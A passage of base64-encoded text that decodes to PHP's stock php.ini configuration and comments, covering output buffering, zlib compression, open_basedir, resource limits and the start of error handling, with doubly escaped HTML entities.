Qo7ICAgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmDQoNCjsgdmFyaWFibGVzX29yZGVyDQo7ICAgRGVmYXVsdCBWYWx1ZTogJmFtcDtxdW90O0VHUENTJmFtcDtxdW90Ow0KOyAgIERldmVsb3BtZW50IFZhbHVlOiAmYW1wO3F1b3Q7R1BDUyZhbXA7cXVvdDsNCjsgICBQcm9kdWN0aW9uIFZhbHVlOiAmYW1wO3F1b3Q7R1BDUyZhbXA7cXVvdDsNCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsNCjsgcGhwLmluaSBPcHRpb25zICA7DQo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBOYW1lIGZvciB1c2VyLWRlZmluZWQgcGhwLmluaSAoLmh0YWNjZXNzKSBmaWxlcy4gRGVmYXVsdCBpcyAmYW1wO3F1b3Q7LnVzZXIuaW5pJmFtcDtxdW90Ow0KO3VzZXJfaW5pLmZpbGVuYW1lID0gJmFtcDtxdW90Oy51c2VyLmluaSZhbXA7cXVvdDsNCg0KOyBUbyBkaXNhYmxlIHRoaXMgZmVhdHVyZSBzZXQgdGhpcyBvcHRpb24gdG8gYW4gZW1wdHkgdmFsdWUNCjt1c2VyX2luaS5maWxlbmFtZSA9DQoNCjsgVFRMIGZvciB1c2VyLWRlZmluZWQgcGhwLmluaSBmaWxlcyAodGltZS10by1saXZlKSBpbiBzZWNvbmRzLiBEZWZhdWx0IGlzIDMwMCBzZWNvbmRzICg1IG1pbnV0ZXMpDQo7dXNlcl9pbmkuY2FjaGVfdHRsID0gMzAwDQoNCjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7DQo7IExhbmd1YWdlIE9wdGlvbnMgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsNCg0KOyBFbmFibGUgdGhlIFBIUCBzY3JpcHRpbmcgbGFuZ3VhZ2UgZW5naW5lIHVuZGVyIEFwYWNoZS4NCjsgaHR0cDovL3BocC5uZXQvZW5naW5lDQplbmdpbmUgPSBPbg0KDQo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hldGhlciBvciBub3QgUEhQIHdpbGwgcmVjb2duaXplIGNvZGUgYmV0d2Vlbg0KOyAmYW1wO2x0Oz8gYW5kID8mYW1wO2d0OyB0YWdzIGFzIFBIUCBzb3VyY2Ugd2hpY2ggc2hvdWxkIGJlIHByb2Nlc3NlZCBhcyBzdWNoLiBJdCBpcw0KOyBnZW5lcmFsbHkgcmVjb21tZW5kZWQgdGhhdCAmYW1wO2x0Oz9waHAgYW5kID8mYW1wO2d0OyBzaG91bGQgYmUgdXNlZCBhbmQgdGhhdCB0aGlzIGZlYXR1cmUNCjsgc2hvdWxkIGJlIGRpc2FibGVkLCBhcyBlbmFibGluZyBpdCBtYXkgcmVzdWx0IGluIGlzc3VlcyB3aGVuIGdlbmVyYXRpbmcgWE1MDQo7IGRvY3VtZW50cywgaG93ZXZlciB0aGlzIHJlbWFpbnMgc3VwcG9ydGVkIGZvciBiYWNrd2FyZCBjb21wYXRpYmlsaXR5IHJlYXNvbnMuDQo7IE5vdGUgdGhhdCB0aGlzIGRpcmVjdGl2ZSBkb2VzIG5vdCBjb250cm9sIHRoZSAmYW1wO2x0Oz89IHNob3J0aGFuZCB0YWcsIHdoaWNoIGNhbiBiZQ0KOyB1c2VkIHJlZ2FyZGxlc3Mgb2YgdGhpcyBkaXJlY3RpdmUuDQo7IERlZmF1bHQgVmFsdWU6IE9uDQo7IERldmVsb3BtZW50IFZhbHVlOiBPZmYNCjsgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmDQo7IGh0dHA6Ly9waHAubmV0L3Nob3J0LW9wZW4tdGFnDQpzaG9ydF9vcGVuX3RhZyA9IE9mZg0KDQo7IFRoZSBudW1iZXIgb2Ygc2lnbmlmaWNhbnQgZGlnaXRzIGRpc3BsYXllZCBpbiBmbG9hdGluZyBwb2ludCBudW1iZXJzLg0KOyBodHRwOi8vcGhwLm5ldC9wcmVjaXNpb24NCnByZWNpc2lvbiA9IDE0DQoNCjsgT3V0cHV0IGJ1ZmZlcmluZyBpcyBhIG1lY2hhbmlzbSBmb3IgY29udHJvbGxpbmcgaG93IG11Y2ggb3V0cHV0IGRhdGENCjsgKGV4Y2x1ZGluZyBoZWFkZXJzIGFuZCBjb29raWVzKSBQSFAgc2hvdWxkIGtlZXAgaW50ZXJuYWxseSBiZWZvcmUgcHVzaGluZyB0aGF0DQo7IGRhdGEgdG8gdGhlIGNsaWVudC4gSWYgeW91ciBhcHBsaWNhdGlvbiZhbXA7YXBvcztzIG91dHB1dCBleGNlZWRzIHRoaXMgc2V0dGluZywgUEhQDQo7IHdpbGwgc2VuZCB0aGF0IGRhdGEgaW4gY2h1bmtzIG9mIHJvdWdobHkgdGhlIHNpemUgeW91IHNwZWNpZnkuDQo7IFR1cm5pbmcgb24gdGhpcyBzZXR0aW5nIGFuZCBtYW5hZ2luZyBpdHMgbWF4aW11bSBidWZmZXIgc2l6ZSBjYW4geWllbGQgc29tZQ0KOyBpbnRlcmVzdGluZyBzaWRlLWVmZmVjdHMgZGVwZW5kaW5nIG9uIHlvdXIgYXBwbGljYXRpb24gYW5kIHdlYiBzZXJ2ZXIuDQo7IFlvdSBtYXkgYmUgYWJsZSB0byBzZW5kIGhlYWRlcnMgYW5kIGNvb2tpZXMgYWZ0ZXIgeW91JmFtcDthcG9zO3ZlIGFscmVhZHkgc2VudCBvdXRwdXQNCjsgdGhyb3VnaCBwcmludCBvciBlY2hvLiBZb3UgYWxzbyBtYXkgc2VlIHBlcmZvcm1hbmNlIGJlbmVmaXRzIGlmIHlvdXIgc2VydmVyIGlzDQo7IGVtaXR0aW5nIGxlc3MgcGFja2V0cyBkdWUgdG8gYnVmZmVyZWQgb3V0cHV0IHZlcnN1cyBQSFAgc3RyZWFtaW5nIHRoZSBvdXRwdXQNCjsgYXMgaXQgZ2V0cyBpdC4gT24gcHJvZHVjdGlvbiBzZXJ2ZXJzLCA0MDk2IGJ5dGVzIGlzIGEgZ29vZCBzZXR0aW5nIGZvciBwZXJmb3JtYW5jZQ0KOyByZWFzb25zLg0KOyBOb3RlOiBPdXRwdXQgYnVmZmVyaW5nIGNhbiBhbHNvIGJlIGNvbnRyb2xsZWQgdmlhIE91dHB1dCBCdWZmZXJpbmcgQ29udHJvbA0KOyAgIGZ1bmN0aW9ucy4NCjsgUG9zc2libGUgVmFsdWVzOg0KOyAgIE9uID0gRW5hYmxlZCBhbmQgYnVmZmVyIGlzIHVubGltaXRlZC4gKFVzZSB3aXRoIGNhdXRpb24pDQo7ICAgT2ZmID0gRGlzYWJsZWQNCjsgICBJbnRlZ2VyID0gRW5hYmxlcyB0aGUgYnVmZmVyIGFuZCBzZXRzIGl0cyBtYXhpbXVtIHNpemUgaW4gYnl0ZXMuDQo7IE5vdGU6IFRoaXMgZGlyZWN0aXZlIGlzIGhhcmRjb2RlZCB0byBPZmYgZm9yIHRoZSBDTEkgU0FQSQ0KOyBEZWZhdWx0IFZhbHVlOiBPZmYNCjsgRGV2ZWxvcG1lbnQgVmFsdWU6IDQwOTYNCjsgUHJvZHVjdGlvbiBWYWx1ZTogNDA5Ng0KOyBodHRwOi8vcGhwLm5ldC9vdXRwdXQtYnVmZmVyaW5nDQpvdXRwdXRfYnVmZmVyaW5nID0gNDA5Ng0KDQo7IFlvdSBjYW4gcmVkaXJlY3QgYWxsIG9mIHRoZSBvdXRwdXQgb2YgeW91ciBzY3JpcHRzIHRvIGEgZnVuY3Rpb24uICBGb3INCjsgZXhhbXBsZSwgaWYgeW91IHNldCBvdXRwdXRfaGFuZGxlciB0byAmYW1wO3F1b3Q7bWJfb3V0cHV0X2hhbmRsZXImYW1wO3F1b3Q7LCBjaGFyYWN0ZXINCjsgZW5jb2Rpbmcgd2lsbCBiZSB0cmFuc3BhcmVudGx5IGNvbnZlcnRlZCB0byB0aGUgc3BlY2lmaWVkIGVuY29kaW5nLg0KOyBTZXR0aW5nIGFueSBvdXRwdXQgaGFuZGxlciBhdXRvbWF0aWNhbGx5IHR1cm5zIG9uIG91dHB1dCBidWZmZXJpbmcuDQo7IE5vdGU6IFBlb3BsZSB3aG8gd3JvdGUgcG9ydGFibGUgc2NyaXB0cyBzaG91bGQgbm90IGRlcGVuZCBvbiB0aGlzIGluaQ0KOyAgIGRpcmVjdGl2ZS4gSW5zdGVhZCwgZXhwbGljaXRseSBzZXQgdGhlIG91dHB1dCBoYW5kbGVyIHVzaW5nIG9iX3N0YXJ0KCkuDQo7ICAgVXNpbmcgdGhpcyBpbmkgZGlyZWN0aXZlIG1heSBjYXVzZSBwcm9ibGVtcyB1bmxlc3MgeW91IGtub3cgd2hhdCBzY3JpcHQNCjsgICBpcyBkb2luZy4NCjsgTm90ZTogWW91IGNhbm5vdCB1c2UgYm90aCAmYW1wO3F1b3Q7bWJfb3V0cHV0X2hhbmRsZXImYW1wO3F1b3Q7IHdpdGggJmFtcDtxdW90O29iX2ljb252X2hhbmRsZXImYW1wO3F1b3Q7DQo7ICAgYW5kIHlvdSBjYW5ub3QgdXNlIGJvdGggJmFtcDtxdW90O29iX2d6aGFuZGxlciZhbXA7cXVvdDsgYW5kICZhbXA7cXVvdDt6bGliLm91dHB1dF9jb21wcmVzc2lvbiZhbXA7cXVvdDsuDQo7IE5vdGU6IG91dHB1dF9oYW5kbGVyIG11c3QgYmUgZW1wdHkgaWYgdGhpcyBpcyBzZXQgJmFtcDthcG9zO09uJmFtcDthcG9zOyAhISEhDQo7ICAgSW5zdGVhZCB5b3UgbXVzdCB1c2UgemxpYi5vdXRwdXRfaGFuZGxlci4NCjsgaHR0cDovL3BocC5uZXQvb3V0cHV0LWhhbmRsZXINCjtvdXRwdXRfaGFuZGxlciA9DQoNCjsgVVJMIHJld3JpdGVyIGZ1bmN0aW9uIHJld3JpdGVzIFVSTCBvbiB0aGUgZmx5IGJ5IHVzaW5nDQo7IG91dHB1dCBidWZmZXIuIFlvdSBjYW4gc2V0IHRhcmdldCB0YWdzIGJ5IHRoaXMgY29uZmlndXJhdGlvbi4NCjsgJmFtcDtxdW90O2Zvcm0mYW1wO3F1b3Q7IHRhZyBpcyBzcGVjaWFsIHRhZy4gSXQgd2lsbCBhZGQgaGlkZGVuIGlucHV0IHRhZyB0byBwYXNzIHZhbHVlcy4NCjsgUmVmZXIgdG8gc2Vzc2lvbi50cmFuc19zaWRfdGFncyBmb3IgdXNhZ2UuDQo7IERlZmF1bHQgVmFsdWU6ICZhbXA7cXVvdDtmb3JtPSZhbXA7cXVvdDsNCjsgRGV2ZWxvcG1lbnQgVmFsdWU6ICZhbXA7cXVvdDtmb3JtPSZhbXA7cXVvdDsNCjsgUHJvZHVjdGlvbiBWYWx1ZTogJmFtcDtxdW90O2Zvcm09JmFtcDtxdW90Ow0KO3VybF9yZXdyaXRlci50YWdzDQoNCjsgVVJMIHJld3JpdGVyIHdpbGwgbm90IHJld3JpdGUgYWJzb2x1dGUgVVJMIG5vciBmb3JtIGJ5IGRlZmF1bHQuIFRvIGVuYWJsZQ0KOyBhYnNvbHV0ZSBVUkwgcmV3cml0ZSwgYWxsb3dlZCBob3N0cyBtdXN0IGJlIGRlZmluZWQgYXQgUlVOVElNRS4NCjsgUmVmZXIgdG8gc2Vzc2lvbi50cmFuc19zaWRfaG9zdHMgZm9yIG1vcmUgZGV0YWlscy4NCjsgRGVmYXVsdCBWYWx1ZTogJmFtcDtxdW90OyZhbXA7cXVvdDsNCjsgRGV2ZWxvcG1lbnQgVmFsdWU6ICZhbXA7cXVvdDsmYW1wO3F1b3Q7DQo7IFByb2R1Y3Rpb24gVmFsdWU6ICZhbXA7cXVvdDsmYW1wO3F1b3Q7DQo7dXJsX3Jld3JpdGVyLmhvc3RzDQoNCjsgVHJhbnNwYXJlbnQgb3V0cHV0IGNvbXByZXNzaW9uIHVzaW5nIHRoZSB6bGliIGxpYnJhcnkNCjsgVmFsaWQgdmFsdWVzIGZvciB0aGlzIG9wdGlvbiBhcmUgJmFtcDthcG9zO29mZiZhbXA7YXBvczssICZhbXA7YXBvcztvbiZhbXA7YXBvczssIG9yIGEgc3BlY2lmaWMgYnVmZmVyIHNpemUNCjsgdG8gYmUgdXNlZCBmb3IgY29tcHJlc3Npb24gKGRlZmF1bHQgaXMgNEtCKQ0KOyBOb3RlOiBSZXN1bHRpbmcgY2h1bmsgc2l6ZSBtYXkgdmFyeSBkdWUgdG8gbmF0dXJlIG9mIGNvbXByZXNzaW9uLiBQSFANCjsgICBvdXRwdXRzIGNodW5rcyB0aGF0IGFyZSBmZXcgaHVuZHJlZHMgYnl0ZXMgZWFjaCBhcyBhIHJlc3VsdCBvZg0KOyAgIGNvbXByZXNzaW9uLiBJZiB5b3UgcHJlZmVyIGEgbGFyZ2VyIGNodW5rIHNpemUgZm9yIGJldHRlcg0KOyAgIHBlcmZvcm1hbmNlLCBlbmFibGUgb3V0cHV0X2J1ZmZlcmluZyBpbiBhZGRpdGlvbi4NCjsgTm90ZTogWW91IG5lZWQgdG8gdXNlIHpsaWIub3V0cHV0X2hhbmRsZXIgaW5zdGVhZCBvZiB0aGUgc3RhbmRhcmQNCjsgICBvdXRwdXRfaGFuZGxlciwgb3Igb3RoZXJ3aXNlIHRoZSBvdXRwdXQgd2lsbCBiZSBjb3JydXB0ZWQuDQo7IGh0dHA6Ly9waHAubmV0L3psaWIub3V0cHV0LWNvbXByZXNzaW9uDQp6bGliLm91dHB1dF9jb21wcmVzc2lvbiA9IE9mZg0KDQo7IGh0dHA6Ly9waHAubmV0L3psaWIub3V0cHV0LWNvbXByZXNzaW9uLWxldmVsDQo7emxpYi5vdXRwdXRfY29tcHJlc3Npb25fbGV2ZWwgPSAtMQ0KDQo7IFlvdSBjYW5ub3Qgc3BlY2lmeSBhZGRpdGlvbmFsIG91dHB1dCBoYW5kbGVycyBpZiB6bGliLm91dHB1dF9jb21wcmVzc2lvbg0KOyBpcyBhY3RpdmF0ZWQgaGVyZS4gVGhpcyBzZXR0aW5nIGRvZXMgdGhlIHNhbWUgYXMgb3V0cHV0X2hhbmRsZXIgYnV0IGluDQo7IGEgZGlmZmVyZW50IG9yZGVyLg0KOyBodHRwOi8vcGhwLm5ldC96bGliLm91dHB1dC1oYW5kbGVyDQo7emxpYi5vdXRwdXRfaGFuZGxlciA9DQoNCjsgSW1wbGljaXQgZmx1c2ggdGVsbHMgUEhQIHRvIHRlbGwgdGhlIG91dHB1dCBsYXllciB0byBmbHVzaCBpdHNlbGYNCjsgYXV0b21hdGljYWxseSBhZnRlciBldmVyeSBvdXRwdXQgYmxvY2suICBUaGlzIGlzIGVxdWl2YWxlbnQgdG8gY2FsbGluZyB0aGUNCjsgUEhQIGZ1bmN0aW9uIGZsdXNoKCkgYWZ0ZXIgZWFjaCBhbmQgZXZlcnkgY2FsbCB0byBwcmludCgpIG9yIGVjaG8oKSBhbmQgZWFjaA0KOyBhbmQgZXZlcnkgSFRNTCBibG9jay4gIFR1cm5pbmcgdGhpcyBvcHRpb24gb24gaGFzIHNlcmlvdXMgcGVyZm9ybWFuY2UNCjsgaW1wbGljYXRpb25zIGFuZCBpcyBnZW5lcmFsbHkgcmVjb21tZW5kZWQgZm9yIGRlYnVnZ2luZyBwdXJwb3NlcyBvbmx5Lg0KOyBodHRwOi8vcGhwLm5ldC9pbXBsaWNpdC1mbHVzaA0KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gT24gZm9yIHRoZSBDTEkgU0FQSQ0KaW1wbGljaXRfZmx1c2ggPSBPZmYNCg0KOyBUaGUgdW5zZXJpYWxpemUgY2FsbGJhY2sgZnVuY3Rpb24gd2lsbCBiZSBjYWxsZWQgKHdpdGggdGhlIHVuZGVmaW5lZCBjbGFzcyZhbXA7YXBvczsNCjsgbmFtZSBhcyBwYXJhbWV0ZXIpLCBpZiB0aGUgdW5zZXJpYWxpemVyIGZpbmRzIGFuIHVuZGVmaW5lZCBjbGFzcw0KOyB3aGljaCBzaG91bGQgYmUgaW5zdGFudGlhdGVkLiBBIHdhcm5pbmcgYXBwZWFycyBpZiB0aGUgc3BlY2lmaWVkIGZ1bmN0aW9uIGlzDQo7IG5vdCBkZWZpbmVkLCBvciBpZiB0aGUgZnVuY3Rpb24gZG9lc24mYW1wO2Fwb3M7dCBpbmNsdWRlL2ltcGxlbWVudCB0aGUgbWlzc2luZyBjbGFzcy4NCjsgU28gb25seSBzZXQgdGhpcyBlbnRyeSwgaWYgeW91IHJlYWxseSB3YW50IHRvIGltcGxlbWVudCBzdWNoIGENCjsgY2FsbGJhY2stZnVuY3Rpb24uDQp1bnNlcmlhbGl6ZV9jYWxsYmFja19mdW5jID0NCg0KOyBXaGVuIGZsb2F0cyAmYW1wO2FtcDsgZG91YmxlcyBhcmUgc2VyaWFsaXplZCwgc3RvcmUgc2VyaWFsaXplX3ByZWNpc2lvbiBzaWduaWZpY2FudA0KOyBkaWdpdHMgYWZ0ZXIgdGhlIGZsb2F0aW5nIHBvaW50LiBUaGUgZGVmYXVsdCB2YWx1ZSBlbnN1cmVzIHRoYXQgd2hlbiBmbG9hdHMNCjsgYXJlIGRlY29kZWQgd2l0aCB1bnNlcmlhbGl6ZSwgdGhlIGRhdGEgd2lsbCByZW1haW4gdGhlIHNhbWUuDQo7IFRoZSB2YWx1ZSBpcyBhbHNvIHVzZWQgZm9yIGpzb25fZW5jb2RlIHdoZW4gZW5jb2RpbmcgZG91YmxlIHZhbHVlcy4NCjsgSWYgLTEgaXMgdXNlZCwgdGhlbiBkdG9hIG1vZGUgMCBpcyB1c2VkIHdoaWNoIGF1dG9tYXRpY2FsbHkgc2VsZWN0IHRoZSBiZXN0DQo7IHByZWNpc2lvbi4NCnNlcmlhbGl6ZV9wcmVjaXNpb24gPSAtMQ0KDQo7IG9wZW5fYmFzZWRpciwgaWYgc2V0LCBsaW1pdHMgYWxsIGZpbGUgb3BlcmF0aW9ucyB0byB0aGUgZGVmaW5lZCBkaXJlY3RvcnkNCjsgYW5kIGJlbG93LiAgVGhpcyBkaXJlY3RpdmUgbWFrZXMgbW9zdCBzZW5zZSBpZiB1c2VkIGluIGEgcGVyLWRpcmVjdG9yeQ0KOyBvciBwZXItdmlydHVhbGhvc3Qgd2ViIHNlcnZlciBjb25maWd1cmF0aW9uIGZpbGUuDQo7IE5vdGU6IGRpc2FibGVzIHRoZSByZWFscGF0aCBjYWNoZQ0KOyBodHRwOi8vcGhwLm5ldC9vcGVuLWJhc2VkaXINCm9wZW5fYmFzZWRpciA9IA0KDQo7IFRoaXMgZGlyZWN0aXZlIGFsbG93cyB5b3UgdG8gZGlzYWJsZSBjZXJ0YWluIGZ1bmN0aW9ucyBmb3Igc2VjdXJpdHkgcmVhc29ucy4NCjsgSXQgcmVjZWl2ZXMgYSBjb21tYS1kZWxpbWl0ZWQgbGlzdCBvZiBmdW5jdGlvbiBuYW1lcy4NCjsgaHR0cDovL3BocC5uZXQvZGlzYWJsZS1mdW5jdGlvbnMNCmRpc2FibGVfZnVuY3Rpb25zID0gDQoNCjsgVGhpcyBkaXJlY3RpdmUgYWxsb3dzIHlvdSB0byBkaXNhYmxlIGNlcnRhaW4gY2xhc3NlcyBmb3Igc2VjdXJpdHkgcmVhc29ucy4NCjsgSXQgcmVjZWl2ZXMgYSBjb21tYS1kZWxpbWl0ZWQgbGlzdCBvZiBjbGFzcyBuYW1lcy4NCjsgaHR0cDovL3BocC5uZXQvZGlzYWJsZS1jbGFzc2VzDQpkaXNhYmxlX2NsYXNzZXMgPSANCg0KOyBDb2xvcnMgZm9yIFN5bnRheCBIaWdobGlnaHRpbmcgbW9kZS4gIEFueXRoaW5nIHRoYXQmYW1wO2Fwb3M7cyBhY2NlcHRhYmxlIGluDQo7ICZhbXA7bHQ7c3BhbiBzdHlsZT0mYW1wO3F1b3Q7Y29sb3I6ID8/Pz8/Pz8mYW1wO3F1b3Q7JmFtcDtndDsgd291bGQgd29yay4NCjsgaHR0cDovL3BocC5uZXQvc3ludGF4LWhpZ2hsaWdodGluZw0KO2hpZ2hsaWdodC5zdHJpbmcgID0gI0REMDAwMA0KO2hpZ2hsaWdodC5jb21tZW50ID0gI0ZGOTkwMA0KO2hpZ2hsaWdodC5rZXl3b3JkID0gIzAwNzcwMA0KO2hpZ2hsaWdodC5kZWZhdWx0ID0gIzAwMDBCQg0KO2hpZ2hsaWdodC5odG1sICAgID0gIzAwMDAwMA0KDQo7IElmIGVuYWJsZWQsIHRoZSByZXF1ZXN0IHdpbGwgYmUgYWxsb3dlZCB0byBjb21wbGV0ZSBldmVuIGlmIHRoZSB1c2VyIGFib3J0cw0KOyB0aGUgcmVxdWVzdC4gQ29uc2lkZXIgZW5hYmxpbmcgaXQgaWYgZXhlY3V0aW5nIGxvbmcgcmVxdWVzdHMsIHdoaWNoIG1heSBlbmQgdXANCjsgYmVpbmcgaW50ZXJydXB0ZWQgYnkgdGhlIHVzZXIgb3IgYSBicm93c2VyIHRpbWluZyBvdXQuIFBIUCZhbXA7YXBvcztzIGRlZmF1bHQgYmVoYXZpb3INCjsgaXMgdG8gZGlzYWJsZSB0aGlzIGZlYXR1cmUuDQo7IGh0dHA6Ly9waHAubmV0L2lnbm9yZS11c2VyLWFib3J0DQo7aWdub3JlX3VzZXJfYWJvcnQgPSBPbg0KDQo7IERldGVybWluZXMgdGhlIHNpemUgb2YgdGhlIHJlYWxwYXRoIGNhY2hlIHRvIGJlIHVzZWQgYnkgUEhQLiBUaGlzIHZhbHVlIHNob3VsZA0KOyBiZSBpbmNyZWFzZWQgb24gc3lzdGVtcyB3aGVyZSBQSFAgb3BlbnMgbWFueSBmaWxlcyB0byByZWZsZWN0IHRoZSBxdWFudGl0eSBvZg0KOyB0aGUgZmlsZSBvcGVyYXRpb25zIHBlcmZvcm1lZC4NCjsgTm90ZTogaWYgb3Blbl9iYXNlZGlyIGlzIHNldCwgdGhlIGNhY2hlIGlzIGRpc2FibGVkDQo7IGh0dHA6Ly9waHAubmV0L3JlYWxwYXRoLWNhY2hlLXNpemUNCjtyZWFscGF0aF9jYWNoZV9zaXplID0gNDA5NmsNCg0KOyBEdXJhdGlvbiBvZiB0aW1lLCBpbiBzZWNvbmRzIGZvciB3aGljaCB0byBjYWNoZSByZWFscGF0aCBpbmZvcm1hdGlvbiBmb3IgYSBnaXZlbg0KOyBmaWxlIG9yIGRpcmVjdG9yeS4gRm9yIHN5c3RlbXMgd2l0aCByYXJlbHkgY2hhbmdpbmcgZmlsZXMsIGNvbnNpZGVyIGluY3JlYXNpbmcgdGhpcw0KOyB2YWx1ZS4NCjsgaHR0cDovL3BocC5uZXQvcmVhbHBhdGgtY2FjaGUtdHRsDQo7cmVhbHBhdGhfY2FjaGVfdHRsID0gMTIwDQoNCjsgRW5hYmxlcyBvciBkaXNhYmxlcyB0aGUgY2lyY3VsYXIgcmVmZXJlbmNlIGNvbGxlY3Rvci4NCjsgaHR0cDovL3BocC5uZXQvemVuZC5lbmFibGUtZ2MNCnplbmQuZW5hYmxlX2djID0gT24NCg0KOyBJZiBlbmFibGVkLCBzY3JpcHRzIG1heSBiZSB3cml0dGVuIGluIGVuY29kaW5ncyB0aGF0IGFyZSBpbmNvbXBhdGlibGUgd2l0aA0KOyB0aGUgc2Nhbm5lci4gIENQOTM2LCBCaWc1LCBDUDk0OSBhbmQgU2hpZnRfSklTIGFyZSB0aGUgZXhhbXBsZXMgb2Ygc3VjaA0KOyBlbmNvZGluZ3MuICBUbyB1c2UgdGhpcyBmZWF0dXJlLCBtYnN0cmluZyBleHRlbnNpb24gbXVzdCBiZSBlbmFibGVkLg0KOyBEZWZhdWx0OiBPZmYNCjt6ZW5kLm11bHRpYnl0ZSA9IE9mZg0KDQo7IEFsbG93cyB0byBzZXQgdGhlIGRlZmF1bHQgZW5jb2RpbmcgZm9yIHRoZSBzY3JpcHRzLiAgVGhpcyB2YWx1ZSB3aWxsIGJlIHVzZWQNCjsgdW5sZXNzICZhbXA7cXVvdDtkZWNsYXJlKGVuY29kaW5nPS4uLikmYW1wO3F1b3Q7IGRpcmVjdGl2ZSBhcHBlYXJzIGF0IHRoZSB0b3Agb2YgdGhlIHNjcmlwdC4NCjsgT25seSBhZmZlY3RzIGlmIHplbmQubXVsdGlieXRlIGlzIHNldC4NCjsgRGVmYXVsdDogJmFtcDtxdW90OyZhbXA7cXVvdDsNCjt6ZW5kLnNjcmlwdF9lbmNvZGluZyA9DQoNCjs7Ozs7Ozs7Ozs7Ozs7Ozs7DQo7IE1pc2NlbGxhbmVvdXMgOw0KOzs7Ozs7Ozs7Ozs7Ozs7OzsNCg0KOyBEZWNpZGVzIHdoZXRoZXIgUEhQIG1heSBleHBvc2UgdGhlIGZhY3QgdGhhdCBpdCBpcyBpbnN0YWxsZWQgb24gdGhlIHNlcnZlcg0KOyAoZS5nLiBieSBhZGRpbmcgaXRzIHNpZ25hdHVyZSB0byB0aGUgV2ViIHNlcnZlciBoZWFkZXIpLiAgSXQgaXMgbm8gc2VjdXJpdHkNCjsgdGhyZWF0IGluIGFueSB3YXksIGJ1dCBpdCBtYWtlcyBpdCBwb3NzaWJsZSB0byBkZXRlcm1pbmUgd2hldGhlciB5b3UgdXNlIFBIUA0KOyBvbiB5b3VyIHNlcnZlciBvciBub3QuDQo7IGh0dHA6Ly9waHAubmV0L2V4cG9zZS1waHANCmV4cG9zZV9waHAgPSBPbg0KDQo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7DQo7IFJlc291cmNlIExpbWl0cyA7DQo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7DQoNCjsgTWF4aW11bSBleGVjdXRpb24gdGltZSBvZiBlYWNoIHNjcmlwdCwgaW4gc2Vjb25kcw0KOyBodHRwOi8vcGhwLm5ldC9tYXgtZXhlY3V0aW9uLXRpbWUNCjsgTm90ZTogVGhpcyBkaXJlY3RpdmUgaXMgaGFyZGNvZGVkIHRvIDAgZm9yIHRoZSBDTEkgU0FQSQ0KbWF4X2V4ZWN1dGlvbl90aW1lID0gMzANCg0KOyBNYXhpbXVtIGFtb3VudCBvZiB0aW1lIGVhY2ggc2NyaXB0IG1heSBzcGVuZCBwYXJzaW5nIHJlcXVlc3QgZGF0YS4gSXQmYW1wO2Fwb3M7cyBhIGdvb2QNCjsgaWRlYSB0byBsaW1pdCB0aGlzIHRpbWUgb24gcHJvZHVjdGlvbnMgc2VydmVycyBpbiBvcmRlciB0byBlbGltaW5hdGUgdW5leHBlY3RlZGx5DQo7IGxvbmcgcnVubmluZyBzY3JpcHRzLg0KOyBOb3RlOiBUaGlzIGRpcmVjdGl2ZSBpcyBoYXJkY29kZWQgdG8gLTEgZm9yIHRoZSBDTEkgU0FQSQ0KOyBEZWZhdWx0IFZhbHVlOiAtMSAoVW5saW1pdGVkKQ0KOyBEZXZlbG9wbWVudCBWYWx1ZTogNjAgKDYwIHNlY29uZHMpDQo7IFByb2R1Y3Rpb24gVmFsdWU6IDYwICg2MCBzZWNvbmRzKQ0KOyBodHRwOi8vcGhwLm5ldC9tYXgtaW5wdXQtdGltZQ0KbWF4X2lucHV0X3RpbWUgPSA2MA0KDQo7IE1heGltdW0gaW5wdXQgdmFyaWFibGUgbmVzdGluZyBsZXZlbA0KOyBodHRwOi8vcGhwLm5ldC9tYXgtaW5wdXQtbmVzdGluZy1sZXZlbA0KO21heF9pbnB1dF9uZXN0aW5nX2xldmVsID0gNjQNCg0KOyBIb3cgbWFueSBHRVQvUE9TVC9DT09LSUUgaW5wdXQgdmFyaWFibGVzIG1heSBiZSBhY2NlcHRlZA0KO21heF9pbnB1dF92YXJzID0gMTAwMA0KDQo7IE1heGltdW0gYW1vdW50IG9mIG1lbW9yeSBhIHNjcmlwdCBtYXkgY29uc3VtZSAoMTI4TUIpDQo7IGh0dHA6Ly9waHAubmV0L21lbW9yeS1saW1pdA0KbWVtb3J5X2xpbWl0ID0gMTI4TQ0KDQo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsNCjsgRXJyb3IgaGFuZGxpbmcgYW5kIGxvZ2dpbmcgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7DQoNCjsgVGhpcyBkaXJlY3RpdmUgaW5mb3JtcyBQSFAgb2Ygd2hpY2ggZXJyb3JzLCB3YXJuaW5ncyBhbmQgbm90aWNlcyB5b3Ugd291bGQgbGlrZQ0KOyBpdCB0byB0YWtlIGFjdGlvbiBmb3IuIFRoZSByZWNvbW1lbmRlZCB3YXkgb2Ygc2V0dGluZyB2YWx1ZXMgZm9yIHRoaXMNCjsgZGlyZWN0aXZlIGlzIHRocm91Z2ggdGhlIHVzZSBvZiB0aGUgZXJyb3IgbGV2ZWwgY29uc3RhbnRzIGFuZCBiaXR3aXNlDQo7IG9wZXJhdG9ycy4gVGhlIGVycm9yIGxldmVsIGNvbnN0YW50cyBhcmUgYmVsb3cgaGVyZSBmb3IgY29udmVuaWVuY2UgYXMgd2VsbCBhcw0KOyBzb21lIGNvbW1vbiBzZXR0aW5ncyBhbmQgdGhlaXIgbWVhbmluZ3MuDQo7IEJ5IGRlZmF1bHQsIFBIUCBpcyBzZXQgdG8gdGFrZSBhY3Rpb24gb24gYWxsIGVycm9ycywgbm90aWNlcyBhbmQgd2FybmluZ3MgRVhDRVBUDQo7IHRob3NlIHJlbGF0ZWQgdG8gRV9OT1RJQ0UgYW5kIEVfU1RSSUNULCB3aGljaCB0b2dldGhlciBjb3ZlciBiZXN0IHByYWN0aWNlcyBhbmQNCjsgcmVjb21tZW5kZWQgY29kaW5nIHN0YW5kYXJkcyBpbiBQSFAuIE